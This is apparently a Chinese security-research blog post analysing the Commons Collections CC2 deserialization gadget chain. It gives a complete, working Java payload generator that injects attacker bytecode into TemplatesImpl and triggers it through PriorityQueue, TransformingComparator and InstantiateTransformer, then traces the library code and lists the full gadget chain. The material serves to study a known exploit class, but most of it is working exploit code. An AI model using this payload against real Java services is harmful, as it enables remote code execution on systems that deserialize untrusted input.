cc2就是cc4的一个变种,无论是出口还是执行命令部分都没有改变,只是绕过了Chainedtransformer
,直接将InstantiateTransformer
和TransformingComparator
去进行了衔接.
直接放我改后的payload
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer; import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*; import javax.xml.transform.Templates;
import java.io.*; public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl = new TemplatesImpl(); Class<?> clazz = templatesimpl.getClass(); Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templatesimpl, "test"); Field field2 = clazz.getDeclaredField("_bytecodes"); field2.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class")); byte[][] codes = {code}; field2.set(templatesimpl, codes); Field field3 = clazz.getDeclaredField("_tfactory"); field3.setAccessible(true); field3.set(templatesimpl, new TransformerFactoryImpl()); // ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);
// InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
// Transformer[] transformers = {ct, it};
//
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
// TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
// PriorityQueue pq = new PriorityQueue<>(transformingComparator); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl}); TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer); PriorityQueue pq = new PriorityQueue(transformingComparator); Class clazz1 = pq.getClass(); Field field1 = clazz1.getDeclaredField("size"); field1.setAccessible(true); field1.set(pq, 2); /* * 通过修改 PriorityQueue 的 queue 字段,来设置InstantiateTransformer的transform方法去构造的类 */ Class clazz0 = pq.getClass(); Field field0 = clazz0.getDeclaredField("queue"); field0.setAccessible(true); field0.set(pq, new Object[]{TrAXFilter.class, 2}); serial(pq); unserial(); } public static void serial(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin")); out.writeObject(obj); } public static void unserial() throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin")); in.readObject(); }
}
感觉网上的改法五花八门的,所以就没看自己去改的.重点分析TrAXFilter.class
如何从队列的一个参数传递到InstantiateTransformer
的,这也是cc2相对cc4的不同之处.(cc4是直接通过ChainedTransformer
来衔接的,不需要进行传递)
PriorityQueue
我们在cc4中分析过siftDownUsingComparator
调用compare
方法.
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x;
}
发现compare方法的第二个参数传递的是(E) queue[right]
,也就是说他把队列中的一个元素传递了过去.
TransformingComparator
来看这个compare
方法
public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2);
}
在接受到参数后,直接用参数执行了transform
方法,也就是通过obj2
将之前队列里的TrAXFilter
传递给了InstantiateTransformer
InstantiateTransformer
直接看这个transform
public Object transform(Object input) {try {if (!(input instanceof Class)) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));} else {Constructor con = ((Class)input).getConstructor(this.iParamTypes);return con.newInstance(this.iArgs);}} catch (NoSuchMethodException var3) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException var4) {InstantiationException ex = var4;throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException var5) {IllegalAccessException ex = var5;throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException var6) {InvocationTargetException ex = var6;throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}}
此时已经非常明了了.获取TrAXFilter
的构造方法并构建一个实例,而TrAXFilter
的构造方法中触发了newTransformer
,这里已经对接上了cc3.
归纳出利用链
Gadget chain:
PriorityQueue.readObject()PriorityQueue.heapify() PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()InstantiateTransformer.transform()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.defineClass()